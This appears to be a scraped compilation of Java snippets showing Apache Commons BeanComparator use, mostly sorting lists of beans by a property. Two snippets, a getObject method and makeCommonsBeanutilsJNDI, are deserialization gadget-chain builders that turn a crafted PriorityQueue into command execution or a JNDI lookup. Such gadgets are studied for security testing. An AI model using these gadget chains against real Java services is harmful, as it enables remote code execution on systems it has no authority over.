// Sort on "phone" field of the Contact bean. Collections.sort(contacts, new BeanComparator("phone"));
ComparatorChain chain = new ComparatorChain(Arrays.asList( new BeanComparator("size"), new BeanComparator("nrOfToppings"), new BeanComparator("name"))); Collections.sort(pizzas, chain);
ComparatorChain chain = new ComparatorChain(Arrays.asList( new BeanComparator("size"), new BeanComparator("nrOfToppings"), new BeanComparator("name"))); Collections.sort(pizzas, chain);
@SuppressWarnings({ "unchecked", "rawtypes" }) protected void sortHandlers() { if (!handlersSorted) { Comparator fieldCompare = new BeanComparator("priority"); Collections.sort(handlers, fieldCompare); handlersSorted = true; } }
@SuppressWarnings("unchecked") protected List<PageDTO> buildPageDTOListUsingCache(List<Page> pageList, String identifier, Locale locale, boolean secure) { List<PageDTO> dtoList = getCachedPageDTOList(pageList, identifier, locale, secure); if (dtoList == null || dtoList.isEmpty()) { addPageListToPageDTOList(pageList, secure, dtoList); if (dtoList != null && !dtoList.isEmpty()) { Collections.sort(dtoList, new BeanComparator("priority")); addPageListToCache(dtoList, identifier, locale, secure); } } return dtoList; }
public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit"); // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); // switch method called by comparator Reflections.setFieldValue(comparator, "property", "outputProperties"); // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = templates; return queue; }
Collections.sort(reviewsToReturn, new BeanComparator(sortByBeanProperty));
protected void populateAdminMenu(AdminUser adminUser, AdminMenu adminMenu, List<AdminModule> modules) { for (AdminModule module : modules) { List<AdminSection> authorizedSections = buildAuthorizedSectionsList(adminUser, module); if (authorizedSections != null && authorizedSections.size() > 0) { AdminModuleDTO adminModuleDto = ((AdminModuleImpl) module).getAdminModuleDTO(); adminMenu.getAdminModules().add(adminModuleDto); adminModuleDto.setSections(authorizedSections); } } // Sort the authorized modules BeanComparator displayComparator = new BeanComparator("displayOrder"); Collections.sort(adminMenu.getAdminModules(), displayComparator); }
List<OfferTier> offerTiers = advancedOffer.getOfferTiers(); Collections.sort(offerTiers, new BeanComparator("minQuantity"));
for (FulfillmentGroupOfferPotential potential : offerMap.keySet()) { List<PromotableCandidateFulfillmentGroupOffer> fgOffers = offerMap.get(potential); Collections.sort(fgOffers, new ReverseComparator(new BeanComparator("discountedAmount", new NullComparator()))); Collections.sort(fgOffers, new BeanComparator("priority", new NullComparator())); Collections.sort(potentials, new BeanComparator("totalSavings", Collections.reverseOrder())); Collections.sort(potentials, new BeanComparator("priority")); potentials = removeTrailingNotCombinableFulfillmentGroupOffers(potentials);
List people = ...; // list of Person objects //sort by age BeanComparator comp = new BeanComparator("age"); Collections.sort(list, comp); //sort by name BeanComparator comp = new BeanComparator("name"); Collections.sort(list, comp); //sort by country name BeanComparator comp = new BeanComparator("country.name"); Collections.sort(list, comp);
public List<StatReport> sortStatReportList(List<StatReport> reports, String propertyName){ List<StatReport> temp = new ArrayList<StatReport>(reports); //create a copy because Collections.sort sorts the given parameter Collections.sort(temp , new BeanComparator(propertyName)); return temp; }
private void addGroup(String code, Map<String, List<SelectItem>> mapping, List<List<SelectItem>> group) { List<SelectItem> singleGroup = mapping.get(code); if (null != singleGroup) { BeanComparator comparator = new BeanComparator("value"); Collections.sort(singleGroup, comparator); group.add(singleGroup); } }
private List<AttributeRole> getOrderedAttributeRoles() { List<AttributeRole> roles = new ArrayList<AttributeRole>(this._attributeRoles.size()); Iterator<AttributeRole> iter = this._attributeRoles.values().iterator(); while (iter.hasNext()) { AttributeRole role = iter.next(); roles.add(role.clone()); } BeanComparator comparator = new BeanComparator("name"); Collections.sort(roles, comparator); return roles; }
public List<Group> getGroups() { List<Group> groups = this.getGroupManager().getGroups(); Collections.sort(groups, new BeanComparator("description")); return groups; }
public List<Role> getRoles() { List<Role> roles = this.getRoleManager().getRoles(); BeanComparator comparator = new BeanComparator("description"); Collections.sort(roles, comparator); return roles; }
public ActionForward listClasses(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception { InfoShift infoShift = (InfoShift) request.getAttribute(PresentationConstants.SHIFT); List classes = ReadAvailableClassesForShift.run(infoShift.getExternalId()); if (classes != null && !classes.isEmpty()) { Collections.sort(classes, new BeanComparator("nome")); request.setAttribute(PresentationConstants.CLASSES, classes); } return mapping.findForward("ListClasses"); }
public List<AdHocEvaluation> getAssociatedAdHocEvaluations() throws FenixServiceException { List<AdHocEvaluation> associatedAdHocEvaluations = getExecutionCourse().getAssociatedAdHocEvaluations(); Collections.sort(associatedAdHocEvaluations, new BeanComparator("creationDateTime")); return associatedAdHocEvaluations; }
@Override public Object provide(Object source, Object currentValue) { MobilityStudentDataBean bean = (MobilityStudentDataBean) source; Country selectedCountry = bean.getSelectedCountry(); MobilityApplicationPeriod period = (MobilityApplicationPeriod) bean.getParentProcess().getCandidacyPeriod(); List<UniversityUnit> universityUnitList = period.getUniversityUnitsAssociatedToCountry(selectedCountry); Collections.sort(universityUnitList, new BeanComparator("nameI18n")); return universityUnitList; }
@Primary @Args ( minArgs = 1, args = { "jndiUrl" }, defaultArgs = { MarshallerBase.defaultJNDIUrl } ) default Object makeCommonsBeanutilsJNDI ( UtilFactory uf, String... args ) throws Exception { BeanComparator<Object> cmp = new BeanComparator<>("lowestSetBit", Collections.reverseOrder()); Object trig = uf.makeComparatorTrigger(JDKUtil.makeJNDIRowSet(args[ 0 ]), cmp); Reflections.setFieldValue(cmp, "property", "databaseMetaData"); return trig; }